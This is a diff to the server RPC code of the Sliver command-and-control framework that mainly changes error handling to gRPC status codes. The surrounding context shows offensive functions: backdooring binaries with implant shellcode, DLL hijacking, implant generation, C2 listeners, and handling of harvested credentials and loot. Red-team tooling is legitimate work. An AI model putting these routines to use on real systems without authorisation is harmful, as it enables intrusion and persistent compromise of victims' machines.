httpC2Config, err := db.LoadHTTPC2ConfigByName(p.Config.HTTPC2ConfigName)
if err != nil {
return nil, status.Error(codes.Internal, err.Error())
return nil, rpcError(err)
}
fPath, err := generate.SliverShellcode(name, build, p.Config, httpC2Config.ImplantConfig)
if err != nil {
return nil, status.Error(codes.Internal, err.Error())
return nil, rpcError(err)
}
shellcode, err := os.ReadFile(fPath)
if err != nil {
return nil, status.Error(codes.Internal, err.Error())
return nil, rpcError(err)
}
bjConfig := &bj.BinjectConfig{
CodeCaveMode: true,
}
newFile, err := bj.Binject(download.Data, shellcode, bjConfig)
if err != nil {
return nil, status.Error(codes.Internal, err.Error())
return nil, rpcError(err)
}
uploadGzip, _ := new(encoders.Gzip).Encode(newFile)
// upload to remote target
@@ -133,11 +133,11 @@ func (rpc *Server) Backdoor(ctx context.Context, req *clientpb.BackdoorReq) (*cl
},
})
if err != nil {
return nil, err
return nil, rpcError(err)
}
if upload.Response != nil && upload.Response.Err != "" {
return nil, fmt.Errorf("%s", upload.Response.Err)
return nil, status.Error(codes.FailedPrecondition, upload.Response.Err)
}
return resp, nil
+5 -2
View File
@@ -90,7 +90,10 @@ func (rpc *Server) GetBeaconTasks(ctx context.Context, req *clientpb.Beacon) (*c
return nil, ErrInvalidBeaconID
}
tasks, err := db.BeaconTasksByBeaconID(beacon.ID.String())
return &clientpb.BeaconTasks{Tasks: tasks}, err
if err != nil {
return nil, rpcError(err)
}
return &clientpb.BeaconTasks{Tasks: tasks}, nil
}
// GetBeaconTaskContent - Get the content of a specific task
@@ -138,7 +141,7 @@ func (rpc *Server) UpdateBeaconIntegrityInformation(ctx context.Context, req *cl
beacon.Integrity = req.Integrity
err = db.Session().Save(beacon).Error
if err != nil {
return resp, err
return resp, rpcError(err)
}
return resp, nil
}
+9 -7
View File
@@ -27,6 +27,8 @@ import (
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/server/configs"
"github.com/bishopfox/sliver/server/db"
"google.golang.org/grpc/codes"
"google.golang.org/grpc/status"
)
// GetC2Profiles - Retrieve C2 Profile names and id's
@@ -34,7 +36,7 @@ func (rpc *Server) GetHTTPC2Profiles(ctx context.Context, req *commonpb.Empty) (
c2Configs := clientpb.HTTPC2Configs{}
httpC2Config, err := db.LoadHTTPC2s()
if err != nil {
return nil, err
return nil, rpcError(err)
}
c2Configs.Configs = httpC2Config
@@ -46,7 +48,7 @@ func (rpc *Server) GetHTTPC2Profiles(ctx context.Context, req *commonpb.Empty) (
func (rpc *Server) GetHTTPC2ProfileByName(ctx context.Context, req *clientpb.C2ProfileReq) (*clientpb.HTTPC2Config, error) {
httpC2Config, err := db.LoadHTTPC2ConfigByName(req.Name)
if err != nil {
return nil, err
return nil, rpcError(err)
}
return httpC2Config, nil
@@ -56,24 +58,24 @@ func (rpc *Server) GetHTTPC2ProfileByName(ctx context.Context, req *clientpb.C2P
func (rpc *Server) SaveHTTPC2Profile(ctx context.Context, req *clientpb.HTTPC2ConfigReq) (*commonpb.Empty, error) {
err := configs.CheckHTTPC2ConfigErrors(req.C2Config)
if err != nil {
return nil, err
return nil, status.Error(codes.InvalidArgument, err.Error())
}
if req.Overwrite && req.C2Config.Name == "" {
return nil, configs.ErrMissingC2ProfileName
return nil, status.Error(codes.InvalidArgument, configs.ErrMissingC2ProfileName.Error())
}
httpC2Config, err := db.LoadHTTPC2ConfigByName(req.C2Config.Name)
if err != nil {
return nil, err
return nil, rpcError(err)
}
if httpC2Config.Name != "" && req.Overwrite == false {
return nil, configs.ErrDuplicateC2ProfileName
return nil, status.Error(codes.AlreadyExists, configs.ErrDuplicateC2ProfileName.Error())
}
if req.Overwrite {
if httpC2Config.Name == "" {
return nil, configs.ErrC2ProfileNotFound
return nil, status.Error(codes.NotFound, configs.ErrC2ProfileNotFound.Error())
}
err = db.HTTPC2ConfigUpdate(req.C2Config, httpC2Config)
if err != nil {
+1 -1
View File
@@ -89,7 +89,7 @@ func (rpc *Server) GetCertificateInfo(ctx context.Context, req *clientpb.Certifi
certInfoDB, err := db.GetCertificateInfo(req.CategoryFilters, req.CN)
if err != nil {
return nil, err
return nil, rpcError(err)
}
certInfo.Info = make([]*clientpb.CertificateData, len(certInfoDB))
+3 -3
View File
@@ -88,7 +88,7 @@ func (rpc *Server) ClientLog(stream rpcpb.SliverRPC_ClientLogServer) error {
logsDir, err := getClientLogsDir(commonName)
if err != nil {
rpcClientLogs.Errorf("Failed to get client console log directory: %s", err)
return err
return rpcError(err)
}
streams := make(map[string]*LogStream)
defer func() {
@@ -104,14 +104,14 @@ func (rpc *Server) ClientLog(stream rpcpb.SliverRPC_ClientLogServer) error {
}
if err != nil {
rpcClientLogs.Errorf("Failed to receive client console log data: %s", err)
return err
return rpcError(err)
}
streamName := fromClient.GetStream()
if _, ok := streams[streamName]; !ok {
streams[streamName], err = openNewLogStream(logsDir, streamName)
if err != nil {
rpcClientLogs.Errorf("Failed to open client console log file: %s", err)
return err
return rpcError(err)
}
}
rpcClientLogs.Debugf("Received %d bytes of client console log data for stream %s", len(fromClient.GetData()), streamName)
+4 -4
View File
@@ -133,10 +133,10 @@ func (rpc *Server) CrackstationRegister(req *clientpb.Crackstation, stream rpcpb
crackStation := core.NewCrackstation(req)
err := core.AddCrackstation(crackStation)
if err == core.ErrDuplicateHosts {
status.Error(codes.AlreadyExists, "crackstation already running on host")
return status.Error(codes.AlreadyExists, "crackstation already running on host")
}
if err != nil {
return err
return rpcError(err)
}
dbCrackstation, err := db.CrackstationByHostUUID(req.HostUUID)
@@ -180,7 +180,7 @@ func (rpc *Server) CrackstationRegister(req *clientpb.Crackstation, stream rpcpb
err := stream.Send(msg)
if err != nil {
crackRpcLog.Warnf(err.Error())
return err
return rpcError(err)
}
case event := <-events: // All server-side events
if !util.Contains(crackingEvents, event.EventType) {
@@ -207,7 +207,7 @@ func (rpc *Server) CrackstationRegister(req *clientpb.Crackstation, stream rpcpb
err := stream.Send(pbEvent)
if err != nil {
crackRpcLog.Warnf(err.Error())
return err
return rpcError(err)
}
}
}
+1 -1
View File
@@ -44,7 +44,7 @@ func (rpc *Server) Creds(ctx context.Context, req *commonpb.Empty) (*clientpb.Cr
dbCreds := []*models.Credential{}
err := db.Session().Where(&models.Credential{}).Find(&dbCreds).Error
if err != nil {
return nil, err
return nil, rpcError(err)
}
credentials := []*clientpb.Credential{}
for _, dbCred := range dbCreds {
+1 -1
View File
@@ -51,7 +51,7 @@ func (rpc *Server) Events(_ *commonpb.Empty, stream rpcpb.SliverRPC_EventsServer
err := stream.Send(pbEvent)
if err != nil {
rpcEventsLog.Warnf(err.Error())
return err
return rpcError(err)
}
}
}
+53 -44
View File
@@ -66,10 +66,10 @@ func (rpc *Server) Generate(ctx context.Context, req *clientpb.GenerateReq) (*cl
if req.Name == "" {
name, err = codenames.GetCodename()
if err != nil {
return nil, err
return nil, rpcError(err)
}
} else if err := util.AllowedName(req.Name); err != nil {
return nil, err
return nil, status.Error(codes.InvalidArgument, err.Error())
} else {
name = req.Name
}
@@ -78,7 +78,7 @@ func (rpc *Server) Generate(ctx context.Context, req *clientpb.GenerateReq) (*cl
// if this is a profile reuse existing configuration
config, err = db.ImplantConfigByID(req.Config.ID)
if err != nil {
return nil, err
return nil, rpcError(err)
}
} else {
// configure c2 channels to enable
@@ -98,13 +98,13 @@ func (rpc *Server) Generate(ctx context.Context, req *clientpb.GenerateReq) (*cl
// generate config
build, err := generate.GenerateConfig(name, config)
if err != nil {
return nil, err
return nil, rpcError(err)
}
// retrieve http c2 implant config
httpC2Config, err := db.LoadHTTPC2ConfigByName(req.Config.HTTPC2ConfigName)
if err != nil {
return nil, err
return nil, rpcError(err)
}
var fPath string
@@ -118,22 +118,22 @@ func (rpc *Server) Generate(ctx context.Context, req *clientpb.GenerateReq) (*cl
case clientpb.OutputFormat_SHELLCODE:
fPath, err = generate.SliverShellcode(name, build, config, httpC2Config.ImplantConfig)
default:
return nil, fmt.Errorf("invalid output format: %s", req.Config.Format)
return nil, status.Error(codes.InvalidArgument, fmt.Sprintf("invalid output format: %s", req.Config.Format))
}
if err != nil {
return nil, err
return nil, rpcError(err)
}
fileName := filepath.Base(fPath)
fileData, err := os.ReadFile(fPath)
if err != nil {
return nil, err
return nil, rpcError(err)
}
err = generate.ImplantBuildSave(build, config, fPath)
if err != nil {
rpcLog.Errorf("Failed to save external build: %s", err)
return nil, err
return nil, rpcError(err)
}
core.EventBroker.Publish(core.Event{
@@ -160,12 +160,12 @@ func (rpc *Server) Regenerate(ctx context.Context, req *clientpb.RegenerateReq)
config, err := db.ImplantConfigByID(build.ImplantConfigID)
if err != nil {
return nil, err
return nil, rpcError(err)
}
fileData, err := generate.ImplantFileFromBuild(build)
if err != nil {
return nil, err
return nil, rpcError(err)
}
return &clientpb.Generate{
@@ -180,7 +180,7 @@ func (rpc *Server) Regenerate(ctx context.Context, req *clientpb.RegenerateReq)
func (rpc *Server) ImplantBuilds(ctx context.Context, _ *commonpb.Empty) (*clientpb.ImplantBuilds, error) {
builds, err := db.ImplantBuilds()
if err != nil {
return nil, err
return nil, rpcError(err)
}
return builds, nil
}
@@ -189,12 +189,12 @@ func (rpc *Server) ImplantBuilds(ctx context.Context, _ *commonpb.Empty) (*clien
func (rpc *Server) StageImplantBuild(ctx context.Context, req *clientpb.ImplantStageReq) (*commonpb.Empty, error) {
err := db.Session().Model(&models.ImplantBuild{}).Where("Stage = ?", true).Update("Stage", false).Error
if err != nil {
return nil, err
return nil, rpcError(err)
}
for _, name := range req.Build {
err = db.Session().Model(&models.ImplantBuild{}).Where(&models.ImplantBuild{Name: name}).Update("Stage", true).Error
if err != nil {
return nil, err
return nil, rpcError(err)
}
}
@@ -205,7 +205,7 @@ func (rpc *Server) StageImplantBuild(ctx context.Context, req *clientpb.ImplantS
func (rpc *Server) Canaries(ctx context.Context, _ *commonpb.Empty) (*clientpb.Canaries, error) {
dbCanaries, err := db.ListCanaries()
if err != nil {
return nil, err
return nil, rpcError(err)
}
rpcLog.Infof("Found %d canaries", len(dbCanaries))
@@ -225,7 +225,7 @@ func (rpc *Server) GenerateUniqueIP(ctx context.Context, _ *commonpb.Empty) (*cl
if err != nil {
rpcLog.Infof("Failed to generate unique wg peer ip: %s\n", err)
return nil, err
return nil, rpcError(err)
}
return &clientpb.UniqueWGIP{
@@ -237,7 +237,7 @@ func (rpc *Server) GenerateUniqueIP(ctx context.Context, _ *commonpb.Empty) (*cl
func (rpc *Server) ImplantProfiles(ctx context.Context, _ *commonpb.Empty) (*clientpb.ImplantProfiles, error) {
implantProfiles, err := db.ImplantProfiles()
if err != nil {
return nil, err
return nil, rpcError(err)
}
return &clientpb.ImplantProfiles{Profiles: implantProfiles}, nil
@@ -250,7 +250,7 @@ func (rpc *Server) SaveImplantProfile(ctx context.Context, profile *clientpb.Imp
rpcLog.Infof("Saving new profile with name %#v", profile.Name)
profile, err := generate.SaveImplantProfile(profile)
if err != nil {
return nil, err
return nil, rpcError(err)
}
core.EventBroker.Publish(core.Event{
EventType: consts.ProfileEvent,
@@ -258,29 +258,35 @@ func (rpc *Server) SaveImplantProfile(ctx context.Context, profile *clientpb.Imp
})
return profile, nil
}
return nil, errors.New("invalid profile name")
return nil, status.Error(codes.InvalidArgument, "invalid profile name")
}
// DeleteImplantProfile - Delete an implant profile
func (rpc *Server) DeleteImplantProfile(ctx context.Context, req *clientpb.DeleteReq) (*commonpb.Empty, error) {
profile, err := db.ProfileByName(req.Name)
if err != nil {
return nil, err
return nil, rpcError(err)
}
for _, build := range profile.Config.ImplantBuilds {
err = RemoveBuildByName(build.Name)
if err != nil {
return nil, err
return nil, rpcError(err)
}
}
err = db.DeleteProfile(req.Name)
return &commonpb.Empty{}, err
if err != nil {
return nil, rpcError(err)
}
return &commonpb.Empty{}, nil
}
// DeleteImplantBuild - Delete an implant build
func (rpc *Server) DeleteImplantBuild(ctx context.Context, req *clientpb.DeleteReq) (*commonpb.Empty, error) {
err := RemoveBuildByName(req.Name)
return &commonpb.Empty{}, err
if err != nil {
return nil, rpcError(err)
}
return &commonpb.Empty{}, nil
}
// Remove Implant build given the build name
@@ -319,7 +325,10 @@ func RemoveBuildByName(name string) error {
// ShellcodeRDI - Generates a RDI shellcode from a given DLL
func (rpc *Server) ShellcodeRDI(ctx context.Context, req *clientpb.ShellcodeRDIReq) (*clientpb.ShellcodeRDI, error) {
shellcode, err := generate.ShellcodeRDIFromBytes(req.GetData(), req.GetFunctionName(), req.GetArguments())
return &clientpb.ShellcodeRDI{Data: shellcode}, err
if err != nil {
return nil, status.Error(codes.InvalidArgument, err.Error())
}
return &clientpb.ShellcodeRDI{Data: shellcode}, nil
}
// GetCompiler - Get information about the internal Go compiler and its configuration
@@ -347,19 +356,19 @@ func (rpc *Server) GenerateExternal(ctx context.Context, req *clientpb.ExternalG
if req.Name == "" {
name, err = codenames.GetCodename()
if err != nil {
return nil, err
return nil, rpcError(err)
}
} else if err := util.AllowedName(req.Name); err != nil {
return nil, err
return nil, status.Error(codes.InvalidArgument, err.Error())
} else {
name = req.Name
}
if config == nil {
return nil, errors.New("invalid implant config")
return nil, status.Error(codes.InvalidArgument, "invalid implant config")
}
externalConfig, err := generate.SliverExternal(name, config)
if err != nil {
return nil, err
return nil, rpcError(err)
}
core.EventBroker.Publish(core.Event{
@@ -398,7 +407,7 @@ func (rpc *Server) GenerateExternalSaveBuild(ctx context.Context, req *clientpb.
err = generate.ImplantBuildSave(implantBuild, implantConfig, tmpFile.Name())
if err != nil {
rpcLog.Errorf("Failed to save external build: %s", err)
return nil, err
return nil, rpcError(err)
}
core.EventBroker.Publish(core.Event{
@@ -424,7 +433,7 @@ func (rpc *Server) GenerateExternalGetBuildConfig(ctx context.Context, req *clie
// retrieve http c2 implant config
httpC2Config, err := db.LoadHTTPC2ConfigByName(implantConfig.HTTPC2ConfigName)
if err != nil {
return nil, status.Error(codes.Internal, fmt.Sprintf("Unable to load HTTP C2 Configuration: %s", err))
return nil, rpcError(err)
}
encoders := map[string]uint64{
@@ -500,7 +509,7 @@ func (rpc *Server) BuilderRegister(req *clientpb.Builder, stream rpcpb.SliverRPC
err := stream.Send(pbEvent)
if err != nil {
rpcEventsLog.Warnf(err.Error())
return err
return rpcError(err)
}
}
}
@@ -557,7 +566,7 @@ func (rpc *Server) TrafficEncoderAdd(ctx context.Context, req *clientpb.TrafficE
tests, err := testTrafficEncoder(ctx, req, progress)
close(progress)
if err != nil {
return nil, err
return nil, rpcError(err)
}
return tests, nil
}
@@ -591,7 +600,7 @@ func testTrafficEncoder(ctx context.Context, req *clientpb.TrafficEncoder, progr
})
if err != nil {
rpcLog.Errorf("Failed to create traffic encoder: %s", err.Error())
return nil, err
return nil, status.Error(codes.InvalidArgument, err.Error())
}
// Test Suite for Traffic Encoders
@@ -689,16 +698,16 @@ func (rpc *Server) GenerateStage(ctx context.Context, req *clientpb.GenerateStag
profile, err := db.ImplantProfileByName(req.Profile)
if err != nil {
return nil, err
return nil, rpcError(err)
}
if req.Name == "" {
name, err = codenames.GetCodename()
if err != nil {
return nil, err
return nil, rpcError(err)
}
} else if err := util.AllowedName(name); err != nil {
return nil, err
return nil, status.Error(codes.InvalidArgument, err.Error())
} else {
name = req.Name
}
@@ -706,7 +715,7 @@ func (rpc *Server) GenerateStage(ctx context.Context, req *clientpb.GenerateStag
// retrieve http c2 implant config
httpC2Config, err := db.LoadHTTPC2ConfigByName(profile.Config.HTTPC2ConfigName)
if err != nil {
return nil, err
return nil, rpcError(err)
}
if len(profile.Config.Exports) == 0 {
@@ -716,7 +725,7 @@ func (rpc *Server) GenerateStage(ctx context.Context, req *clientpb.GenerateStag
// generate config
build, err := generate.GenerateConfig(name, profile.Config)
if err != nil {
return nil, err
return nil, rpcError(err)
}
var fPath string
@@ -730,16 +739,16 @@ func (rpc *Server) GenerateStage(ctx context.Context, req *clientpb.GenerateStag
case clientpb.OutputFormat_SHELLCODE:
fPath, err = generate.SliverShellcode(name, build, profile.Config, httpC2Config.ImplantConfig)
default:
return nil, fmt.Errorf("invalid output format: %s", profile.Config.Format)
return nil, status.Error(codes.InvalidArgument, fmt.Sprintf("invalid output format: %s", profile.Config.Format))
}
if err != nil {
return nil, err
return nil, rpcError(err)
}
fileName := filepath.Base(fPath)
fileData, err := os.ReadFile(fPath)
if err != nil {
return nil, err
return nil, rpcError(err)
}
core.EventBroker.Publish(core.Event{
@@ -761,7 +770,7 @@ func (rpc *Server) GenerateStage(ctx context.Context, req *clientpb.GenerateStag
stageType = req.Compress + " - "
stage2, err = Compress(stage2, req.Compress)
if err != nil {
return nil, err
return nil, rpcError(err)
}
}
@@ -774,14 +783,14 @@ func (rpc *Server) GenerateStage(ctx context.Context, req *clientpb.GenerateStag
stage2, err = Encrypt(stage2, req)
if err != nil {
return nil, err
return nil, status.Error(codes.InvalidArgument, err.Error())
}
}
err = generate.SaveStage(build, profile.Config, stage2, stageType)
if err != nil {
rpcLog.Errorf("Failed to save external build: %s", err)
return nil, err
return nil, rpcError(err)
}
core.EventBroker.Publish(core.Event{
+13 -13
View File
@@ -79,7 +79,7 @@ func (rpc *Server) HijackDLL(ctx context.Context, req *clientpb.DllHijackReq) (*
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
return nil, err
return nil, rpcError(err)
}
}
refDLL = download.Data
@@ -89,7 +89,7 @@ func (rpc *Server) HijackDLL(ctx context.Context, req *clientpb.DllHijackReq) (*
if req.ProfileName != "" {
profiles, err := rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
return nil, rpcError(err)
}
var p *clientpb.ImplantProfile
for _, prof := range profiles.Profiles {
@@ -113,47 +113,47 @@ func (rpc *Server) HijackDLL(ctx context.Context, req *clientpb.DllHijackReq) (*
if req.Name == "" {
name, err = codenames.GetCodename()
if err != nil {
return nil, err
return nil, rpcError(err)
}
} else if err := util.AllowedName(name); err != nil {
return nil, err
return nil, status.Error(codes.InvalidArgument, err.Error())
} else {
name = req.Name
}
build, err := generate.GenerateConfig(name, config)
if err != nil {
return nil, err
return nil, rpcError(err)
}
// retrieve http c2 implant config
httpC2Config, err := db.LoadHTTPC2ConfigByName(p.Config.HTTPC2ConfigName)
if err != nil {
return nil, err
return nil, rpcError(err)
}
fPath, err := generate.SliverSharedLibrary(name, build, config, httpC2Config.ImplantConfig)
if err != nil {
return nil, err
return nil, rpcError(err)
}
targetDLLData, err = os.ReadFile(fPath)
if err != nil {
return nil, err
return nil, rpcError(err)
}
} else {
if len(req.TargetDLL) == 0 {
return nil, errors.New("missing target DLL")
return nil, status.Error(codes.InvalidArgument, "missing target DLL")
}
targetDLLData = req.TargetDLL
}
// call clone
result, err := cloneExports(targetDLLData, refDLL, req.ReferenceDLLPath)
if err != nil {
return resp, fmt.Errorf("failed to clone exports: %s", err)
return resp, status.Error(codes.InvalidArgument, fmt.Sprintf("failed to clone exports: %s", err))
}
targetBytes, err := result.Bytes()
if err != nil {
return resp, fmt.Errorf("failed to convert PE to bytes: %s", err)
return resp, status.Error(codes.Internal, fmt.Sprintf("failed to convert PE to bytes: %s", err))
}
// upload new dll
uploadGzip, _ := new(encoders.Gzip).Encode(targetBytes)
@@ -169,11 +169,11 @@ func (rpc *Server) HijackDLL(ctx context.Context, req *clientpb.DllHijackReq) (*
})
if err != nil {
return nil, err
return nil, rpcError(err)
}
if upload.Response != nil && upload.Response.Err != "" {
return nil, fmt.Errorf("%s", upload.Response.Err)
return nil, status.Error(codes.FailedPrecondition, upload.Response.Err)
}
return resp, nil
+6 -6
View File
@@ -34,7 +34,7 @@ import (
func (rpc *Server) Hosts(ctx context.Context, _ *commonpb.Empty) (*clientpb.AllHosts, error) {
dbHosts, err := db.ListHosts()
if err != nil {
return nil, err
return nil, rpcError(err)
}
hosts := []*clientpb.Host{}
for _, dbHost := range dbHosts {
@@ -47,7 +47,7 @@ func (rpc *Server) Hosts(ctx context.Context, _ *commonpb.Empty) (*clientpb.AllH
func (rpc *Server) Host(ctx context.Context, req *clientpb.Host) (*clientpb.Host, error) {
dbHost, err := db.HostByHostUUID(req.HostUUID)
if err != nil {
return nil, err
return nil, rpcError(err)
}
return dbHost.ToProtobuf(), nil
}
@@ -56,11 +56,11 @@ func (rpc *Server) Host(ctx context.Context, req *clientpb.Host) (*clientpb.Host
func (rpc *Server) HostRm(ctx context.Context, req *clientpb.Host) (*commonpb.Empty, error) {
dbHost, err := db.HostByHostUUID(req.HostUUID)
if err != nil {
return nil, err
return nil, rpcError(err)
}
err = db.Session().Delete(*dbHost).Error
if err != nil {
return nil, err
return nil, rpcError(err)
}
return &commonpb.Empty{}, nil
}
@@ -69,11 +69,11 @@ func (rpc *Server) HostRm(ctx context.Context, req *clientpb.Host) (*commonpb.Em
func (rpc *Server) HostIOCRm(ctx context.Context, req *clientpb.IOC) (*commonpb.Empty, error) {
dbIOC, err := db.IOCByID(req.ID)
if err != nil {
return nil, err
return nil, rpcError(err)
}
err = db.Session().Delete(dbIOC).Error
if err != nil {
return nil, err
return nil, rpcError(err)
}
return &commonpb.Empty{}, nil
}
+27 -26
View File
@@ -20,7 +20,6 @@ package rpc
import (
"context"
"errors"
"fmt"
"github.com/bishopfox/sliver/client/constants"
@@ -29,6 +28,8 @@ import (
"github.com/bishopfox/sliver/server/c2"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/db"
"google.golang.org/grpc/codes"
"google.golang.org/grpc/status"
)
const (
@@ -43,7 +44,7 @@ const (
var (
// ErrInvalidPort - Invalid TCP port number
ErrInvalidPort = errors.New("invalid listener port")
ErrInvalidPort = status.Error(codes.InvalidArgument, "invalid listener port")
)
// GetJobs - List jobs
@@ -72,12 +73,12 @@ func (rpc *Server) RestartJobs(ctx context.Context, restartJobReq *clientpb.Rest
job := core.Jobs.Get(int(jobID))
listenerJob, err := db.ListenerByJobID(jobID)
if err != nil {
return &commonpb.Empty{}, err
return &commonpb.Empty{}, rpcError(err)
}
job.JobCtrl <- true
job, err = c2.StartHTTPListenerJob(listenerJob.HTTPConf)
if err != nil {
return &commonpb.Empty{}, err
return &commonpb.Empty{}, rpcError(err)
}
listenerJob.JobID = uint32(job.ID)
db.UpdateHTTPC2Listener(listenerJob)
@@ -96,11 +97,11 @@ func (rpc *Server) KillJob(ctx context.Context, kill *clientpb.KillJobReq) (*cli
killJob.Success = true
err = db.DeleteListener(killJob.ID)
if err != nil {
return nil, err
return nil, rpcError(err)
}
} else {
killJob.Success = false
err = errors.New("invalid Job ID")
err = status.Error(codes.NotFound, "invalid job ID")
}
return killJob, err
}
@@ -116,12 +117,12 @@ func (rpc *Server) StartMTLSListener(ctx context.Context, req *clientpb.MTLSList
err := PortInUse(req.Port)
if err != nil {
return nil, err
return nil, rpcError(err)
}
job, err := c2.StartMTLSListenerJob(req)
if err != nil {
return nil, err
return nil, rpcError(err)
}
listenerJob := &clientpb.ListenerJob{
@@ -131,7 +132,7 @@ func (rpc *Server) StartMTLSListener(ctx context.Context, req *clientpb.MTLSList
}
err = db.SaveC2Listener(listenerJob)
if err != nil {
return nil, err
return nil, rpcError(err)
}
return &clientpb.ListenerJob{JobID: uint32(job.ID)}, nil
@@ -157,22 +158,22 @@ func (rpc *Server) StartWGListener(ctx context.Context, req *clientpb.WGListener
err := PortInUse(req.Port)
if err != nil {
return nil, err
return nil, rpcError(err)
}
err = PortInUse(req.NPort)
if err != nil {
return nil, err
return nil, rpcError(err)
}
err = PortInUse(req.KeyPort)
if err != nil {
return nil, err
return nil, rpcError(err)
}
job, err := c2.StartWGListenerJob(req)
if err != nil {
return nil, err
return nil, rpcError(err)
}
listenerJob := &clientpb.ListenerJob{
@@ -182,7 +183,7 @@ func (rpc *Server) StartWGListener(ctx context.Context, req *clientpb.WGListener
}
err = db.SaveC2Listener(listenerJob)
if err != nil {
return nil, err
return nil, rpcError(err)
}
return &clientpb.ListenerJob{JobID: uint32(job.ID)}, nil
@@ -192,12 +193,12 @@ func (rpc *Server) StartWGListener(ctx context.Context, req *clientpb.WGListener
func (rpc *Server) StartDNSListener(ctx context.Context, req *clientpb.DNSListenerReq) (*clientpb.ListenerJob, error) {
err := PortInUse(req.Port)
if err != nil {
return nil, err
return nil, rpcError(err)
}
job, err := c2.StartDNSListenerJob(req)
if err != nil {
return nil, err
return nil, rpcError(err)
}
listenerJob := &clientpb.ListenerJob{
@@ -207,7 +208,7 @@ func (rpc *Server) StartDNSListener(ctx context.Context, req *clientpb.DNSListen
}
err = db.SaveC2Listener(listenerJob)
if err != nil {
return nil, err
return nil, rpcError(err)
}
return &clientpb.ListenerJob{JobID: uint32(job.ID)}, nil
@@ -224,12 +225,12 @@ func (rpc *Server) StartHTTPSListener(ctx context.Context, req *clientpb.HTTPLis
err := PortInUse(req.Port)
if err != nil {
return nil, err
return nil, rpcError(err)
}
job, err := c2.StartHTTPListenerJob(req)
if err != nil {
return nil, err
return nil, rpcError(err)
}
listenerJob := &clientpb.ListenerJob{
@@ -239,7 +240,7 @@ func (rpc *Server) StartHTTPSListener(ctx context.Context, req *clientpb.HTTPLis
}
err = db.SaveC2Listener(listenerJob)
if err != nil {
return nil, err
return nil, rpcError(err)
}
return &clientpb.ListenerJob{JobID: uint32(job.ID)}, nil
@@ -256,12 +257,12 @@ func (rpc *Server) StartHTTPListener(ctx context.Context, req *clientpb.HTTPList
err := PortInUse(req.Port)
if err != nil {
return nil, err
return nil, rpcError(err)
}
job, err := c2.StartHTTPListenerJob(req)
if err != nil {
return nil, err
return nil, rpcError(err)
}
listenerJob := &clientpb.ListenerJob{
@@ -271,7 +272,7 @@ func (rpc *Server) StartHTTPListener(ctx context.Context, req *clientpb.HTTPList
}
err = db.SaveC2Listener(listenerJob)
if err != nil {
return nil, err
return nil, rpcError(err)
}
return &clientpb.ListenerJob{JobID: uint32(job.ID)}, nil
@@ -280,13 +281,13 @@ func (rpc *Server) StartHTTPListener(ctx context.Context, req *clientpb.HTTPList
func PortInUse(newPort uint32) error {
listenerJobs, err := db.ListenerJobs()
if err != nil {
return err
return rpcError(err)
}
var port uint32
for _, job := range listenerJobs {
listener, err := db.ListenerByJobID(job.JobID)
if err != nil {
return err
return rpcError(err)
}
switch job.Type {
case "http":
@@ -304,7 +305,7 @@ func PortInUse(newPort uint32) error {
}
if port == newPort {
return errors.New(fmt.Sprintf("port %d is in use", port))
return status.Error(codes.AlreadyExists, fmt.Sprintf("port %d is in use", port))
}
}
return nil
+7 -4
View File
@@ -52,7 +52,7 @@ func (rpc *Server) Kill(ctx context.Context, kill *sliverpb.KillReq) (*commonpb.
func (rpc *Server) killSession(kill *sliverpb.KillReq, session *core.Session) (*commonpb.Empty, error) {
data, err := proto.Marshal(kill)
if err != nil {
return nil, err
return nil, rpcError(err)
}
timeout := time.Duration(kill.Request.GetTimeout())
// Do not block waiting for the msg send, the implant connection may already be dead
@@ -69,19 +69,22 @@ func (rpc *Server) killBeacon(kill *sliverpb.KillReq, beacon *models.Beacon) (*c
request.BeaconID = beacon.ID.String()
reqData, err := proto.Marshal(request)
if err != nil {
return nil, err
return nil, rpcError(err)
}
task, err := beacon.Task(&sliverpb.Envelope{
Type: sliverpb.MsgKillSessionReq,
Data: reqData,
})
if err != nil {
return nil, err
return nil, rpcError(err)
}
parts := strings.Split(string(kill.ProtoReflect().Descriptor().FullName().Name()), ".")
name := parts[len(parts)-1]
task.Description = name
// Update db
err = db.Session().Save(task).Error
return resp, err
if err != nil {
return nil, rpcError(err)
}
return resp, nil
}
+8 -4
View File
@@ -32,7 +32,7 @@ import (
func (rpc *Server) LootAdd(ctx context.Context, lootReq *clientpb.Loot) (*clientpb.Loot, error) {
loot, err := loot.GetLootStore().Add(lootReq)
if err != nil {
return nil, err
return nil, rpcError(err)
}
core.EventBroker.Publish(core.Event{
EventType: consts.LootAddedEvent,
@@ -45,7 +45,7 @@ func (rpc *Server) LootAdd(ctx context.Context, lootReq *clientpb.Loot) (*client
func (rpc *Server) LootRm(ctx context.Context, lootReq *clientpb.Loot) (*commonpb.Empty, error) {
err := loot.GetLootStore().Rm(lootReq.ID)
if err != nil {
return nil, err
return nil, rpcError(err)
}
core.EventBroker.Publish(core.Event{
EventType: consts.LootRemovedEvent,
@@ -57,7 +57,7 @@ func (rpc *Server) LootRm(ctx context.Context, lootReq *clientpb.Loot) (*commonp
func (rpc *Server) LootUpdate(ctx context.Context, lootReq *clientpb.Loot) (*clientpb.Loot, error) {
loot, err := loot.GetLootStore().Update(lootReq)
if err != nil {
return nil, err
return nil, rpcError(err)
}
core.EventBroker.Publish(core.Event{
EventType: consts.LootAddedEvent,
@@ -67,7 +67,11 @@ func (rpc *Server) LootUpdate(ctx context.Context, lootReq *clientpb.Loot) (*cli
// LootContent - Get a list of all loot of a specific type
func (rpc *Server) LootContent(ctx context.Context, lootReq *clientpb.Loot) (*clientpb.Loot, error) {
return loot.GetLootStore().GetContent(lootReq.ID, true)
result, err := loot.GetLootStore().GetContent(lootReq.ID, true)
if err != nil {
return nil, rpcError(err)
}
return result, nil
}
// LootAll - Get a list of all loot
+2 -2
View File
@@ -15,7 +15,7 @@ func (rpc *Server) MonitorStart(ctx context.Context, _ *commonpb.Empty) (*common
if err != nil {
resp.Err = err.Error()
}
return resp, err
return resp, rpcError(err)
}
func (rpc *Server) MonitorStop(ctx context.Context, _ *commonpb.Empty) (*commonpb.Empty, error) {
@@ -27,7 +27,7 @@ func (rpc *Server) MonitorStop(ctx context.Context, _ *commonpb.Empty) (*commonp
func (rpc *Server) MonitorListConfig(ctx context.Context, _ *commonpb.Empty) (*clientpb.MonitoringProviders, error) {
resp, err := watchtower.ListConfig()
if err != nil {
return nil, err
return nil, rpcError(err)
}
return resp, nil
}
